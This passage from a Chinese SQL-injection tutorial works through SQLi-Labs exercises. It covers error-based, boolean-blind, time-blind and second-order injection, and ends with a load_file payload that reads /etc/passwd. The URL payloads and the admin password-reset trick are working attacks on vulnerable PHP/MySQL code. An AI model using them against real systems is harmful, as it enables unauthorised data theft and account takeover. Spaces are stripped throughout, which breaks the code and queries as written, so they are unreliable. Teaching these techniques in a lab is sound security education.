(chuàng)建一個(gè)名為abcd的新數(shù)據(jù)庫(kù)。1.3常見(jiàn)類(lèi)型的SQL注入1.3.4報(bào)錯(cuò)注入報(bào)錯(cuò)注入利用數(shù)據(jù)庫(kù)的某些機(jī)制,人為制造錯(cuò)誤條件,使得攻擊者期望獲取的數(shù)據(jù)能夠出現(xiàn)在錯(cuò)誤信息中。在聯(lián)合注入受限且Web應(yīng)用程序會(huì)顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息的情況下,報(bào)錯(cuò)注入成為了一種有效的注入方式。以SQLi-Labs第5關(guān)為例,該關(guān)卡的關(guān)鍵代碼如下:$id=$_GET['id'];//獲取參數(shù)id$sql="SELECT*FROMusersWHEREid='$id'LIMIT0,1";//構(gòu)建SQL查詢(xún)語(yǔ)句,根據(jù)id從users數(shù)據(jù)表中獲取一條記錄$result=mysql_query($sql);//執(zhí)行SQL查詢(xún)$row=mysql_fetch_array($result);//獲取SQL查詢(xún)結(jié)果集并轉(zhuǎn)換為數(shù)組if($row){//省略具體處理代碼}else{print_r(mysql_error());//以結(jié)構(gòu)化方式打印MySQL操作中的錯(cuò)誤信息}1.3常見(jiàn)類(lèi)型的SQL注入1.3.4報(bào)錯(cuò)注入從上述關(guān)鍵代碼中可以看出,當(dāng)查詢(xún)結(jié)果集為空時(shí),Web應(yīng)用程序?qū)⑤敵鯯QL語(yǔ)句執(zhí)行過(guò)程中的錯(cuò)誤信息。使用Chrome瀏覽器訪問(wèn)以下URL:01/sqli-labs/Less-5/index.php?id=1'orupdatexml(1,concat(0x7e,database(),0x7e),1)%23注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid='1'orupdatexml(1,concat(0x7e,database(),0x7e),1)#'LIMIT0,1頁(yè)面提示XPath語(yǔ)法錯(cuò)誤,并在隨后的錯(cuò)誤信息中顯示當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)為security。1.3常見(jiàn)類(lèi)型的SQL注入1.3.4報(bào)錯(cuò)注入此處的報(bào)錯(cuò)是XPath語(yǔ)法錯(cuò)誤觸發(fā)的,自MySQL5.1.5版本起,MySQL提供了兩個(gè)用于XML查詢(xún)和修改的函數(shù),分別是updatexml()和extractvalue()函數(shù)。當(dāng)這兩個(gè)函數(shù)遇到不符合XPath語(yǔ)法的輸入時(shí)會(huì)生成錯(cuò)誤,并輸出錯(cuò)誤信息。在上述示例中,攻擊者利用concat()函數(shù)將0x7e(即“~”字符的十六進(jìn)制形式)與database()函數(shù)的結(jié)果拼接,作為updatexml()函數(shù)的第二個(gè)參數(shù),由于該連接結(jié)果并不是合法的XPath表達(dá)式(限于篇幅,此處不介紹XPath表達(dá)式的合法形式,讀者可自行查閱相關(guān)資料進(jìn)行了解),因此updatexml()函數(shù)會(huì)觸發(fā)語(yǔ)法錯(cuò)誤,錯(cuò)誤信息中包含當(dāng)前數(shù)據(jù)庫(kù)的名稱(chēng),從而通過(guò)報(bào)錯(cuò)注入獲取當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)。使用Chrome瀏覽器訪問(wèn)以下URL:01/sqli-labs/Less-5/index.php?id=1'orupdatexml(1,concat(0x7e,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),0x7e),1)%231.3常見(jiàn)類(lèi)型的SQL注入1.3.4報(bào)錯(cuò)注入注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid='1'orupdatexml(1,concat(0x7e,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),0x7e),1)#'LIMIT0,1由于updatexml()函數(shù)的第二個(gè)參數(shù)不是合法的XPath表達(dá)式,因此updatexml()函數(shù)會(huì)觸發(fā)語(yǔ)法錯(cuò)誤,錯(cuò)誤信息中包含當(dāng)前數(shù)據(jù)庫(kù)中的所有數(shù)據(jù)表名稱(chēng),從而通過(guò)報(bào)錯(cuò)注入獲取當(dāng)前數(shù)據(jù)庫(kù)中的所有數(shù)據(jù)表名稱(chēng)。1.3常見(jiàn)類(lèi)型的SQL注入1.3.4報(bào)錯(cuò)注入使用Chrome瀏覽器訪問(wèn)以下URL:01/sqli-labs/Less-5/index.php?id=1'orupdatexml(1,concat(0x7e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schema=database()andtable_name='users'),0x7e),1)%23注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid='1'orupdatexml(1,concat(0x7e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schema=database()andtable_name='users'),0x7e),1)#'LIMIT0,11.3常見(jiàn)類(lèi)型的SQL注入1.3.4報(bào)錯(cuò)注入由于updatexml()函數(shù)的第二個(gè)參數(shù)不是合法的XPath表達(dá)式,因此updatexml()函數(shù)會(huì)觸發(fā)語(yǔ)法錯(cuò)誤,錯(cuò)誤信息中包含當(dāng)前數(shù)據(jù)庫(kù)中users數(shù)據(jù)表的所有字段名稱(chēng),從而通過(guò)報(bào)錯(cuò)注入獲取當(dāng)前數(shù)據(jù)庫(kù)中users數(shù)據(jù)表的所有字段名稱(chēng)。使用Chrome瀏覽器訪問(wèn)以下URL:01/sqli-labs/Less-5/index.php?id=1'orupdatexml(1,concat(0x7e,(selectgroup_concat(id,username)fromsecurity.users),0x7e),1)%231.3常見(jiàn)類(lèi)型的SQL注入1.3.4報(bào)錯(cuò)注入注入后的完整SQL語(yǔ)句如下:使用Chrome瀏覽器訪問(wèn)以下URL由于updatexml()函數(shù)的第二個(gè)參數(shù)不是合法的XPath表達(dá)式,因此updatexml()函數(shù)會(huì)觸發(fā)語(yǔ)法錯(cuò)誤,由于updatexml()函數(shù)的報(bào)錯(cuò)信息長(zhǎng)度不能超過(guò)32個(gè)字符,錯(cuò)誤信息中只包含了users數(shù)據(jù)表中id和username字段的部分?jǐn)?shù)據(jù),從而通過(guò)報(bào)錯(cuò)注入獲取users數(shù)據(jù)表中id和username字段的部分?jǐn)?shù)據(jù)。SELECT*FROMusersWHEREid='1'orupdatexml(1,concat(0x7e,(selectgroup_concat(id,username)fromsecurity.users),0x7e),1)#'LIMIT0,11.3常見(jiàn)類(lèi)型的SQL注入1.3.4報(bào)錯(cuò)注入能夠觸發(fā)報(bào)錯(cuò)注入的內(nèi)置函數(shù)遠(yuǎn)不止上述所提到的幾種,下表總結(jié)了MySQL中常用于報(bào)錯(cuò)注入的內(nèi)置函數(shù)。注意:這些函數(shù)的可用性與MySQL的版本密切相關(guān)。內(nèi)置函數(shù)描述updatexml()處理XML的XPath表達(dá)式,通過(guò)構(gòu)造不合法的XPath表達(dá)式觸發(fā)錯(cuò)誤extractvalue()從XML文檔中提取特定節(jié)點(diǎn)的值,通過(guò)構(gòu)造不合法的XPath表達(dá)式觸發(fā)錯(cuò)誤floor()返回小于或等于參數(shù)的最大整數(shù),通過(guò)構(gòu)造特殊的數(shù)學(xué)運(yùn)算觸發(fā)錯(cuò)誤exp()返回e的指定次冪的值,通過(guò)構(gòu)造大指數(shù)值觸發(fā)數(shù)值溢出錯(cuò)誤name_const()返回給定的字符串,通過(guò)使用不正確的參數(shù)類(lèi)型或非法的值觸發(fā)錯(cuò)誤multipoint()創(chuàng)建一個(gè)多點(diǎn)的幾何對(duì)象,通過(guò)構(gòu)造不符合規(guī)范的幾何對(duì)象觸發(fā)錯(cuò)誤polygon()創(chuàng)建一個(gè)多邊形的幾何對(duì)象,通過(guò)構(gòu)造非法的點(diǎn)集合觸發(fā)錯(cuò)誤geometrycollection()創(chuàng)建一個(gè)幾何集合對(duì)象,通過(guò)構(gòu)造錯(cuò)誤的幾何參數(shù)觸發(fā)錯(cuò)誤linestring()創(chuàng)建一個(gè)線串的幾何對(duì)象,通過(guò)構(gòu)造非標(biāo)準(zhǔn)或錯(cuò)誤的坐標(biāo)數(shù)據(jù)觸發(fā)錯(cuò)誤multilinestring()創(chuàng)建一個(gè)多線串的幾何對(duì)象,通過(guò)構(gòu)造錯(cuò)誤數(shù)據(jù)觸發(fā)錯(cuò)誤ST_LatFromGeoHash()從GeoHash中提取緯度信息,通過(guò)構(gòu)造錯(cuò)誤的GeoHash字符串觸發(fā)錯(cuò)誤1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注在傳統(tǒng)的SQL注入中,Web應(yīng)用程序往往會(huì)直接返回?cái)?shù)據(jù)庫(kù)的查詢(xún)結(jié)果或錯(cuò)誤信息,這種情況下的SQL注入是直觀的,接下來(lái)將介紹一種不直觀的SQL注入——SQL盲注。在SQL盲注中,攻擊者無(wú)法直接從Web應(yīng)用程序的響應(yīng)中獲取到具體的數(shù)據(jù)庫(kù)信息,而是通過(guò)構(gòu)造一系列“是”或“否”的問(wèn)題推斷數(shù)據(jù)庫(kù)中的數(shù)據(jù),通常通過(guò)觀察Web應(yīng)用程序的狀態(tài)或響應(yīng)時(shí)間等方式推斷信息。SQL盲注的優(yōu)點(diǎn)是即使Web應(yīng)用程序不直接回顯具體的數(shù)據(jù)庫(kù)信息,也能夠通過(guò)“旁敲側(cè)擊”的方式推斷出來(lái);其缺點(diǎn)是注入過(guò)程較為繁瑣,通常伴隨著大量的請(qǐng)求,容易引起安全監(jiān)測(cè)系統(tǒng)的警報(bào),從而暴露攻擊者的行為。SQL盲注一般可分為布爾盲注和時(shí)間盲注。1.布爾盲注布爾盲注是一種通過(guò)返回頁(yè)面的“正常”與“異?!眱煞N狀態(tài)推斷數(shù)據(jù)庫(kù)信息的攻擊方式。例如,攻擊者通過(guò)構(gòu)造SQL語(yǔ)句“詢(xún)問(wèn)”數(shù)據(jù)庫(kù):當(dāng)前用戶(hù)名的第一個(gè)字符是否為“r”?如果猜測(cè)正確,返回頁(yè)面會(huì)處于一種狀態(tài);如果猜測(cè)錯(cuò)誤,返回頁(yè)面則會(huì)處于另一種狀態(tài)。通過(guò)對(duì)比這兩種狀態(tài),攻擊者可以確定第一個(gè)字符,以此類(lèi)推,直至把所有位置的字符都猜解出來(lái),從而獲取當(dāng)前用戶(hù)名。1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注1.布爾盲注以SQLi-Labs第8關(guān)為例,該關(guān)卡的關(guān)鍵代碼如下:$sql="SELECT*FROMusersWHEREid='$id'LIMIT0,1";$result=mysql_query($sql);$row=mysql_fetch_array($result);if($row){echo'<fontsize="5"color="#FFFF00">';echo'Youarein...........';echo'<br/>';echo'</font>';}else{echo'<fontsize="5"color="#FFFF00">';echo'<br/></font>';echo'<fontcolor="#0000ff"fontsize=3>';echo'</font>';}1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注1.布爾盲注分析關(guān)鍵代碼可知,雖然Web應(yīng)用程序存在SQL注入漏洞,但不會(huì)回顯結(jié)果集信息和報(bào)錯(cuò)信息,返回頁(yè)面只有兩種狀態(tài):當(dāng)查詢(xún)結(jié)果集($row)不為空時(shí),頁(yè)面會(huì)輸出“Youarein...........”字符串,表現(xiàn)為一種狀態(tài);當(dāng)$row為空或false時(shí),頁(yè)面不輸出字符串,表現(xiàn)為另一種狀態(tài)。在這種情況下,布爾盲注是一種可行的注入方式。使用布爾盲注獲取當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)的思路如下:(1)確定當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)的長(zhǎng)度:01/sqli-labs/Less-8/index.php?id=1'andlength(database())>N%23注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid='1'andlength(database())>N#'LIMIT0,11.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注1.布爾盲注通過(guò)不斷遞增N,直到頁(yè)面狀態(tài)發(fā)生改變,從而推斷出當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)長(zhǎng)度。當(dāng)N從1一直遍歷到7時(shí),返回頁(yè)面都如圖所示,表明數(shù)據(jù)庫(kù)名稱(chēng)長(zhǎng)度大于7;當(dāng)N遍歷到8時(shí),返回頁(yè)面如圖所示,表明數(shù)據(jù)庫(kù)名稱(chēng)長(zhǎng)度不大于8。由此能夠推斷出當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)長(zhǎng)度為8。1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注1.布爾盲注(2)逐字符猜解當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng):01/sqli-labs/Less-8/index.php?id=1'andascii(substr(database(),M,1))>N%23注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid='1'andascii(substr(database(),M,1))>N#'LIMIT0,1接下來(lái),攻擊者可以逐字符猜解數(shù)據(jù)庫(kù)名稱(chēng)。使用substr()函數(shù)截取數(shù)據(jù)庫(kù)名稱(chēng)的第M位,并通過(guò)ascii()函數(shù)將其轉(zhuǎn)換為ASCII碼與N進(jìn)行比較。由于可見(jiàn)字符的ASCII碼范圍是32-126,因此采用二分法能夠更加高效地猜解N。1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注1.布爾盲注當(dāng)N等于114時(shí),返回頁(yè)面如圖所示,表明數(shù)據(jù)庫(kù)名稱(chēng)的首字符ASCII碼大于114;當(dāng)N等于115時(shí),返回頁(yè)面如圖所示,表明數(shù)據(jù)庫(kù)名稱(chēng)的首字符ASCII碼不大于115。由此可以推斷數(shù)據(jù)庫(kù)名稱(chēng)的第一位字符的ASCII碼為115,對(duì)應(yīng)字符為“s”。不斷重復(fù)上述步驟并遞增M,直至M等于數(shù)據(jù)庫(kù)名稱(chēng)的長(zhǎng)度,此時(shí)拼接各位置的字符即可得到完整的數(shù)據(jù)庫(kù)名稱(chēng)。1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注2.時(shí)間盲注時(shí)間盲注通過(guò)觀察頁(yè)面響應(yīng)時(shí)間的變化,從而推斷數(shù)據(jù)庫(kù)信息。例如,攻擊者構(gòu)造SQL語(yǔ)句“詢(xún)問(wèn)”數(shù)據(jù)庫(kù):當(dāng)前用戶(hù)名的第一個(gè)字符是否為“r”?如果猜測(cè)正確,執(zhí)行sleep(5)使響應(yīng)延時(shí)5秒;如果猜測(cè)錯(cuò)誤,則沒(méi)有延時(shí)。在這種情況下,通過(guò)監(jiān)測(cè)請(qǐng)求的響應(yīng)時(shí)間是否超過(guò)1秒,攻擊者可以推斷猜測(cè)是否正確。與布爾盲注不同,時(shí)間盲注并不關(guān)注頁(yè)面狀態(tài)的差異,而是關(guān)注響應(yīng)時(shí)間的差異。MySQL中常見(jiàn)的三種延時(shí)方法如表所示。方法說(shuō)明使用sleep()函數(shù)造成延時(shí)sleep(N)表示延時(shí)N秒,N越大,延時(shí)效果越明顯使用benchmark()函數(shù)造成延時(shí)selectbenchmark(1000000,md5(1))表示對(duì)md5(1)表達(dá)式重復(fù)執(zhí)行1000000次,執(zhí)行次數(shù)越多,延時(shí)效果越明顯使用笛卡爾積造成延時(shí)select*fromtableA,tableB表示對(duì)tableA和tableB進(jìn)行笛卡爾積運(yùn)算,這會(huì)返回tableA中每一條記錄與tableB中每一條記錄的組合。兩表的字段數(shù)越大,延時(shí)效果越明顯1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注以SQLi-Labs第9關(guān)為例,該關(guān)卡的關(guān)鍵代碼如下:$sql="SELECT*FROMusersWHEREid='$id'LIMIT0,1";//構(gòu)建SQL查詢(xún)語(yǔ)句,查詢(xún)指定id的用戶(hù)信息$result=mysql_query($sql);//執(zhí)行SQL查詢(xún)$row=mysql_fetch_array($result);//獲取SQL查詢(xún)結(jié)果集if($row){echo'<fontsize="5"color="#FFFF00">';//設(shè)置字體大小與顏色echo'Youarein...........';//輸出信息echo'<br/></font>';//換行并關(guān)閉字體標(biāo)簽}else{echo'<fontsize="5"color="#FFFF00">';//設(shè)置字體大小與顏色echo'Youarein...........';//輸出信息echo'<br/></font>';//換行并關(guān)閉字體標(biāo)簽}1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注分析關(guān)鍵代碼可知,雖然Web應(yīng)用程序存在SQL注入漏洞,但不會(huì)回顯結(jié)果集信息和報(bào)錯(cuò)信息,返回頁(yè)面也只有一種狀態(tài)。在這種情況下,時(shí)間盲注是一種可行的注入方式。使用時(shí)間盲注的思路與布爾盲注相似,只不過(guò)推斷的依據(jù)變成了響應(yīng)時(shí)間。使用時(shí)間盲注獲取當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)的思路如下:(1)確定當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)的長(zhǎng)度:01/sqli-labs/Less-9/index.php?id=1'andif(length(database())=N,sleep(M),1)%23注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid='1'andif(length(database())=N,sleep(M),1)#'LIMIT0,11.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注此處的if()函數(shù)用于推斷數(shù)據(jù)庫(kù)名稱(chēng)的長(zhǎng)度是否等于N,如果數(shù)據(jù)庫(kù)名稱(chēng)的長(zhǎng)度等于N,則執(zhí)行sleep(M)延時(shí)M秒;否則不延時(shí)且返回1。利用瀏覽器開(kāi)發(fā)者工具中的網(wǎng)絡(luò)功能,可以觀察到兩次請(qǐng)求的響應(yīng)時(shí)間存在明顯差異,如圖所示。當(dāng)N等于7且M等于5時(shí),響應(yīng)時(shí)間為77毫秒,這是正常的響應(yīng)時(shí)間;當(dāng)N等于8且M等于5時(shí),響應(yīng)時(shí)間增加到5.03秒,顯然是因?yàn)閟leep(5)被執(zhí)行了。由此,可以推斷數(shù)據(jù)庫(kù)名稱(chēng)長(zhǎng)度為8。1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注(2)逐字符猜解當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng):01/sqli-labs/Less-9/index.php?id=1'andif(ascii(substr(database(),K,1))>N,sleep(M),1)%23注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid='1'andif(ascii(substr(database(),K,1))>N,sleep(M),1)#'LIMIT0,1接下來(lái),攻擊者可以逐字符猜解當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)。首先,使用substr()函數(shù)截取數(shù)據(jù)庫(kù)名稱(chēng)的第K位,并通過(guò)ascii()函數(shù)將其轉(zhuǎn)換為ASCII碼與N進(jìn)行比較,如果ASCII碼大于N,則執(zhí)行sleep()函數(shù)延時(shí)M秒;否則返回1。由于可見(jiàn)字符的ASCII碼范圍是32-126,因此采用二分法能夠更加高效地猜解N。1.3常見(jiàn)類(lèi)型的SQL注入1.3.5SQL盲注當(dāng)N等于114且M等于5時(shí)如圖所示,響應(yīng)時(shí)間為5.03秒,顯然是由于sleep(5)被執(zhí)行了,表明數(shù)據(jù)庫(kù)名稱(chēng)的首字符ASCII碼大于114;當(dāng)N等于115且M等于5時(shí)如圖所示,響應(yīng)時(shí)間為54毫秒,這是正常的響應(yīng)時(shí)間,表明數(shù)據(jù)庫(kù)名稱(chēng)的首字符ASCII碼不大于115。由此可以推斷數(shù)據(jù)庫(kù)名稱(chēng)的第一位字符的ASCII碼為115,對(duì)應(yīng)字符為“s”。不斷重復(fù)上述步驟并遞增K,直至K等于數(shù)據(jù)庫(kù)名稱(chēng)的長(zhǎng)度,此時(shí)拼接各位置的字符即可得到完整的數(shù)據(jù)庫(kù)名稱(chēng)。1.3常見(jiàn)類(lèi)型的SQL注入1.3.6二次注入在上述介紹的SQL注入中,惡意數(shù)據(jù)通常直接通過(guò)注入點(diǎn)帶入SQL語(yǔ)句,從而立即造成注入漏洞,但在二次注入中,惡意數(shù)據(jù)首先被存儲(chǔ)起來(lái)(例如存入數(shù)據(jù)庫(kù)或文件),然后在后續(xù)的數(shù)據(jù)庫(kù)查詢(xún)中被取出并帶入SQL語(yǔ)句執(zhí)行,從而造成SQL注入。一些具備防御措施的Web應(yīng)用程序會(huì)對(duì)用戶(hù)輸入的敏感字符進(jìn)行轉(zhuǎn)義操作。例如,當(dāng)攻擊者輸入“1'”時(shí),Web應(yīng)用程序會(huì)將其轉(zhuǎn)義為“1\'”。然而,在將該數(shù)據(jù)存入數(shù)據(jù)庫(kù)時(shí),大部分?jǐn)?shù)據(jù)庫(kù)會(huì)對(duì)存入的數(shù)據(jù)進(jìn)行反轉(zhuǎn)義操作,即去除轉(zhuǎn)義字符“\”,再將“1'”存入數(shù)據(jù)庫(kù)。當(dāng)攻擊者在后續(xù)操作中引用“1'”時(shí),Web應(yīng)用程序會(huì)直接從數(shù)據(jù)庫(kù)中查詢(xún)并取出“1'”,未采取任何過(guò)濾措施便將數(shù)據(jù)帶入SQL語(yǔ)句執(zhí)行,從而觸發(fā)SQL注入攻擊。二次注入的主要過(guò)程如圖所示。1.3常見(jiàn)類(lèi)型的SQL注入1.3.6二次注入與傳統(tǒng)的SQL注入相比,二次注入更難預(yù)防和發(fā)現(xiàn)。傳統(tǒng)的SQL注入通常由攻擊者直接向Web應(yīng)用程序提交惡意的SQL代碼,從而立即觸發(fā)漏洞并獲取敏感信息。而二次注入攻擊則不同,其通過(guò)將惡意代碼存儲(chǔ)在數(shù)據(jù)庫(kù)中,直到Web應(yīng)用程序在后續(xù)請(qǐng)求中重新調(diào)用或處理這些存儲(chǔ)的惡意代碼時(shí),才觸發(fā)SQL注入攻擊。作為一種二階攻擊,二次注入的主要步驟如下:(1)攻擊者提交惡意數(shù)據(jù):攻擊者在Web應(yīng)用程序的輸入字段或上傳文件等位置提交惡意數(shù)據(jù)。此時(shí),尚未觸發(fā)SQL注入攻擊。(2)Web應(yīng)用程序接受并存儲(chǔ)惡意數(shù)據(jù):Web應(yīng)用程序接受攻擊者提交的惡意數(shù)據(jù),并將其存儲(chǔ)起來(lái)(通常存儲(chǔ)在數(shù)據(jù)庫(kù)中)。(3)Web應(yīng)用程序讀取存儲(chǔ)的惡意數(shù)據(jù):在后續(xù)的操作中,攻擊者通過(guò)某種方式(例如,訪問(wèn)特定頁(yè)面、執(zhí)行某項(xiàng)操作等),促使Web應(yīng)用程序讀取存儲(chǔ)的惡意數(shù)據(jù)。(4)惡意數(shù)據(jù)被執(zhí)行:當(dāng)Web應(yīng)用程序從數(shù)據(jù)庫(kù)中檢索并使用惡意數(shù)據(jù)時(shí),未經(jīng)適當(dāng)處理的惡意數(shù)據(jù)被帶入SQL語(yǔ)句執(zhí)行,造成了二次注入。1.3常見(jiàn)類(lèi)型的SQL注入1.3.6二次注入下面以SQLi-Labs第24關(guān)為例,詳細(xì)介紹如何實(shí)現(xiàn)二次注入攻擊。首先,通過(guò)審查登錄界面的后端代碼發(fā)現(xiàn):用戶(hù)名和密碼中的敏感字符都會(huì)被mysql_real_escape_string()函數(shù)轉(zhuǎn)義,由于該函數(shù)會(huì)在用戶(hù)輸入的“'”(單引號(hào))、“"”(雙引號(hào))、“\”(反斜杠)等特殊字符前添加“\”(轉(zhuǎn)義字符)進(jìn)行轉(zhuǎn)義,因此無(wú)法直接進(jìn)行SQL注入。登錄界面的關(guān)鍵代碼如下:$username=mysql_real_escape_string($_POST["login_user"]);//對(duì)輸入的用戶(hù)名進(jìn)行轉(zhuǎn)義處理$password=mysql_real_escape_string($_POST["login_password"]);//對(duì)輸入的密碼進(jìn)行轉(zhuǎn)義處理$sql="SELECT*FROMusersWHEREusername='$username'andpassword='$password'";//構(gòu)建SQL查詢(xún)語(yǔ)句,驗(yàn)證用戶(hù)名和密碼1.3常見(jiàn)類(lèi)型的SQL注入1.3.6二次注入點(diǎn)擊“NewUserclickhere?”進(jìn)入注冊(cè)頁(yè)面。在注冊(cè)頁(yè)面注冊(cè)一個(gè)用戶(hù)名為“admin'#”且密碼為“123456”的用戶(hù)。通過(guò)檢查數(shù)據(jù)庫(kù),可以看到用戶(hù)已成功創(chuàng)建,用戶(hù)名顯示為“admin'#”。1.3常見(jiàn)類(lèi)型的SQL注入1.3.6二次注入成功創(chuàng)建“admin'#”用戶(hù)后,嘗試使用該用戶(hù)登錄系統(tǒng)。登錄成功后,系統(tǒng)提示已以“admin'#”用戶(hù)的身份登錄,并提供了密碼重置功能。在重置密碼界面,將“CurrentPassword”字段留空,在“NewPassword”和“RetypePassword”字段中均填入“654321”。1.3常見(jiàn)類(lèi)型的SQL注入1.3.6二次注入執(zhí)行上述操作后,再次檢查數(shù)據(jù)庫(kù),發(fā)現(xiàn)“admin'#”用戶(hù)的密碼并未發(fā)生變化,但admin用戶(hù)的密碼已被修改為“654321”。至此,已完成二次注入攻擊。1.3常見(jiàn)類(lèi)型的SQL注入1.3.6二次注入查看重置密碼功能的源代碼,Web應(yīng)用程序的關(guān)鍵代碼如下:$username=$_SESSION["username"];$curr_pass=mysql_real_escape_string($_POST['current_password']);//對(duì)輸入的當(dāng)前密碼進(jìn)行轉(zhuǎn)義處理$pass=mysql_real_escape_string($_POST['password']);//對(duì)第一次輸入的新密碼進(jìn)行轉(zhuǎn)義處理$re_pass=mysql_real_escape_string($_POST['re_password']);//對(duì)第二次重新輸入的新密碼進(jìn)行轉(zhuǎn)義處理if($pass==$re_pass)//判斷兩次輸入的新密碼是否完全相同{$sql="updateuserssetpassword='$pass'whereusername='$username'andpassword='$curr_pass'";//構(gòu)建SQL更新語(yǔ)句,更新用戶(hù)密碼$res=mysql_query($sql)ordie('Youtriedtobesmart,Tryharder!!!!:(');//省略其他代碼1.3常見(jiàn)類(lèi)型的SQL注入1.3.6二次注入其中,$username是登錄后的用戶(hù)名,直接從會(huì)話(huà)變量中獲取,且未經(jīng)過(guò)任何安全處理。因此,更新密碼時(shí)實(shí)際執(zhí)行的SQL語(yǔ)句是:updateuserssetpassword='654321'whereusername='admin'#'andpassword=''由于“#”符號(hào)會(huì)將之后的內(nèi)容變?yōu)樽⑨專(zhuān)@條SQL語(yǔ)句的實(shí)際含義是將admin用戶(hù)的密碼修改為654321。該示例展示了二次注入的主要流程:惡意數(shù)據(jù)被存儲(chǔ)到數(shù)據(jù)庫(kù)后,Web應(yīng)用程序從數(shù)據(jù)庫(kù)中取出數(shù)據(jù)時(shí)未對(duì)其進(jìn)行安全檢查,而是直接將這些惡意數(shù)據(jù)帶入SQL語(yǔ)句執(zhí)行,最終導(dǎo)致了SQL注入漏洞。1.4SQL注入利用1.獲取與篡改數(shù)據(jù)庫(kù)信息在SQL注入中,最直接的利用方式是獲取數(shù)據(jù)庫(kù)中的敏感信息,如用戶(hù)名、密碼、身份證號(hào)、個(gè)人住址等。攻擊者可以通過(guò)構(gòu)造惡意的SQL語(yǔ)句,未經(jīng)授權(quán)地訪問(wèn)和讀取數(shù)據(jù)庫(kù)內(nèi)容。如果攻擊者成功獲取了用戶(hù)信息,就有可能繞過(guò)登錄驗(yàn)證,非法獲取更高的權(quán)限,甚至獲得管理員權(quán)限。此外,攻擊者還能夠篡改數(shù)據(jù)庫(kù)中的數(shù)據(jù),可能導(dǎo)致數(shù)據(jù)的損壞、丟失,甚至產(chǎn)生誤導(dǎo)性信息,進(jìn)一步破壞Web應(yīng)用程序的完整性和可用性。2.讀取文件攻擊者可以通過(guò)load_file()函數(shù)讀取系統(tǒng)文件,但需要同時(shí)滿(mǎn)足以下條件:(1)知曉目標(biāo)文件的絕對(duì)路徑。這是一個(gè)基本前提,因?yàn)閘oad_file()函數(shù)要求提供文件的完整路徑才能執(zhí)行讀取操作。(2)secure_file_priv參數(shù)值為空(即secure_file_priv=''),或該參數(shù)值包含所讀文件的目錄的絕對(duì)路徑。secure_file_priv參數(shù)是MySQL的配置選項(xiàng)之一,用于限制從Web服務(wù)器加載文件的位置。不同的secure_file_priv參數(shù)值具有不同的含義,具體含義如表所示。1.4SQL注入利用secure_file_priv參數(shù)值的設(shè)置含義secure_file_priv=''不限制MySQL的導(dǎo)入導(dǎo)出操作secure_file_priv='<DIR_NAME>'限制MySQL的導(dǎo)入導(dǎo)出操作只適用于<DIR_NAME>目錄中的文件secure_file_priv=NULL禁用MySQL的導(dǎo)入導(dǎo)出操作若要修改secure_file_priv參數(shù)值,需在MySQL的配置文件my.ini(適用于Windows系統(tǒng))或f(適用于Linux系統(tǒng))中進(jìn)行調(diào)整。找到配置文件后,打開(kāi)并編輯f或my.ini文件,在[mysqld]部分查找secure_file_priv參數(shù)。如果該參數(shù)不存在,則在[mysqld]部分新增如下配置。執(zhí)行以下SQL語(yǔ)句即可查詢(xún)secure_file_priv參數(shù)值:SHOWVARIABLESLIKE'secure_file_priv'secure_file_priv=''1.4SQL注入利用此設(shè)置表示對(duì)MySQL的文件導(dǎo)入導(dǎo)出操作不進(jìn)行路徑限制。完成修改后,保存配置文件并重啟MySQL使更改生效。(3)MySQL對(duì)目標(biāo)文件擁有讀權(quán)限。MySQL必須具備從目標(biāo)目錄讀文件的權(quán)限。(4)MySQL連接用戶(hù)擁有FILE權(quán)限。MySQL連接用戶(hù)必須具備FILE權(quán)限,才能執(zhí)行讀取文件的操作。攻擊者執(zhí)行以下SQL語(yǔ)句即可查詢(xún)MySQL連接用戶(hù)的FILE權(quán)限:SELECTUser,File_privfrommysql.user1.4SQL注入利用查詢(xún)MySQL連接用戶(hù)的FILE權(quán)限,執(zhí)行結(jié)果如圖所示。其中root用戶(hù)的File_priv值為“Y”,表明該用戶(hù)擁有FILE權(quán)限。為了避免直接使用引號(hào),攻擊者還可以對(duì)文件名的絕對(duì)路徑使用十六進(jìn)制編碼或char()函數(shù):?id='unionselect1,2,load_file(0x2f6574632f706173737764)#
